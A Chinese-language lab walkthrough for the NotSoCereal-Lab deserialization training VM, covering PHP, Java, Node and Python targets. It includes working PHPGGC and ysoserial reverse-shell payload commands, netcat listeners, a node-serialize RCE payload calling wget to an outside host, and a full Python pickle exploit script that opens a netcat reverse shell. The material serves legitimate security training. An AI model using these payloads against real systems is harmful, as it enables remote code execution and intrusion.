项目介绍
反序列化问题是信息安全的最新趋势,它们因臭名昭著的Java反序列化错误而声名鹊起,然而这些问题不仅仅局限于一种语言,序列化和反序列化是几乎所有现代编程语言中执行的常见操作,尽管这些问题臭名昭著,但却严重缺乏磨练你这方面技能的平台,于是NotSoCereal-Lab孕育而生,它是一个反序列化平台,用于训练你的反序列化操作能力,目前已经创建了支持以下语言的环境:
-
Java
-
PHP
-
Python
-
Node
项目地址
项目地址:https://github.com/NotSoSecure/NotSoCereal-Lab
靶机部署
靶机下载:https://binary.notsosecure.com/NotSoCereal_2022.ova
Step 1:下载OVA文件,并尝试使用“文件->导入设备”选项将其导入
Step 2:选择下载的OVA文件“NotSoCereal _ v1.0.ova”的路径
Step 3:观察"描述"中的凭证,然后单击导入按钮
Step 4:成功导入
Step 5:点击"开始"按钮启动NotSoCereal虚拟机
Step 6:虚拟机将启动并要求凭据
Step 7:输入在步骤3中捕获的凭据,并执行以下命令来启动易受攻击的应用程序的docker
cd docker
./start.sh
Step 8:捕获"eth0"接口分配的IP地址
Step 9:使用IP地址访问应用程序
靶机实战
PHP反序列化
Step 1:点击"PHP Website:16664"
Step 2:提供必要的信息并点击"提交"按钮
Step 3:在Burp Suite代理中捕获请求,并观察"csrftoken"参数包含Base64数据
Step 4:使用Base64解码该值,并标识序列化数据
Step 5:将步骤3中捕获的请求发送到repeat模块
Step 6:从以下位置下载PHPGGC实用程序并生成序列化的有效负载,并捕获生成的有效负载
https://github.com/ambionics/phpggc
./phpggc -b slim/rce1 system id
Step 7:将步骤5中捕获的请求的参数"csrftoken"中使用步骤6中生成的有效负载替换,并发送请求
Step 8:使用以下命令启动监听器
nc -nlvp 6666
Step 9:使用以下命令捕获系统IP地址,并使用该地址生成反向shell的有效负载,并捕获有效负载
./phpggc -b slim/rce1 system "nc 192.168.29.88 6666 -e /bin/sh"
Step 10:替换有效载荷
Step 11:之后成功收到返回的会话
JAVA反序列化
Step 1:点击"Java Website: 16661"链接
Step 2:提供以下凭证并勾选"记住我"选项,然后单击"提交"按钮
Username: admin
Password: password
Step 3:之后使用Burpsuite抓包并发送请Repeat模块
Step 4:之后发送请求数据包,可以看到响应中具有以"rO0"开头的Java序列化神奇字符串
Step 5:使用Base64解码后观察它的序列化值
Step 6:转发步骤3中捕获的请求,并单击"登录"按钮
Step 7:从以下位置下载YSoSerial实用程序,并使用以下命令检查可用的有效负载
https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
java -jar ysoserial-master-SNAPSHOT.jar
Step 8:使用以下命令捕获IP地址并使用它来生成反向shell有效负载,并捕获生成的有效负载
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nc 192.168.29.88 4444 -e /bin/bash" | base64 -w 0
Step 9:使用以下命令启动监听
nc -nlvp 4444
Step 10:在"RememberMe"参数中替换步骤8中生成的有效负载,并单击"send"按钮向服务器发送请求
Step 10:之后接收到反弹的shell
Node反序列化
Step 1:点击"Node Website: 16663"链接
Step 2:填写表单信息并提交
Step 3:捕获通信数据包
Step 4:观察CSRFToken
Step 5:发送请求到repeat模块
Step 6:使用以下信息创建node.js序列化负载
{"rce":"_$$ND_FUNC$$_function (){n t require('child_process').exec('wget http://192.168.X.206:9999/test /',function(error, stdout, stderr) {console.log(stdout) });n }()"}
Step 7:开启一个监听
Step 8:替换载荷并重新发行请求
Step 9:之后成功接收到反弹的shell
Python反序列化
Step 1:点击"Python: Connect over TCP Socket: 16662"
Step 2:访问地址
Step 3:开启本地监听
nc -nlvp 5555
Step 4:之后使用以下脚本生成载荷
#!/usr/bin/env python
#payload.py
import pickle
import socket
import os
import sys
if len(sys.argv) < 5:
print "Usage: python py_exploit.py <attacker_ip_address> <attacker_port> <docker_ip_address> <docker_port>"
sys.exit(1)
localIP=sys.argv[1]
localPort=sys.argv[2]
dockerIP=sys.argv[3]
dockerPort=sys.argv[4]
class payload(object):
def __reduce__(self):
comm = "rm /tmp/shell; mknod /tmp/shell p; nc "+localIP+" "+localPort+" 0</tmp/shell | /bin/sh 1>/tmp/shell"
return (os.system, (comm,))
payload = pickle.dumps( payload())
soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
soc.connect((dockerIP, int(dockerPort)))
print soc.recv(1024)
soc.send(payload)
Step 5:执行脚本
python py_exploit.py 192.168.29.88 5555 192.168.29.201 16662
Step 6:之后收到反弹的shell
原文始发于微信公众号(七芒星实验室):反序列化练习场之NotSoCereal-Lab
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论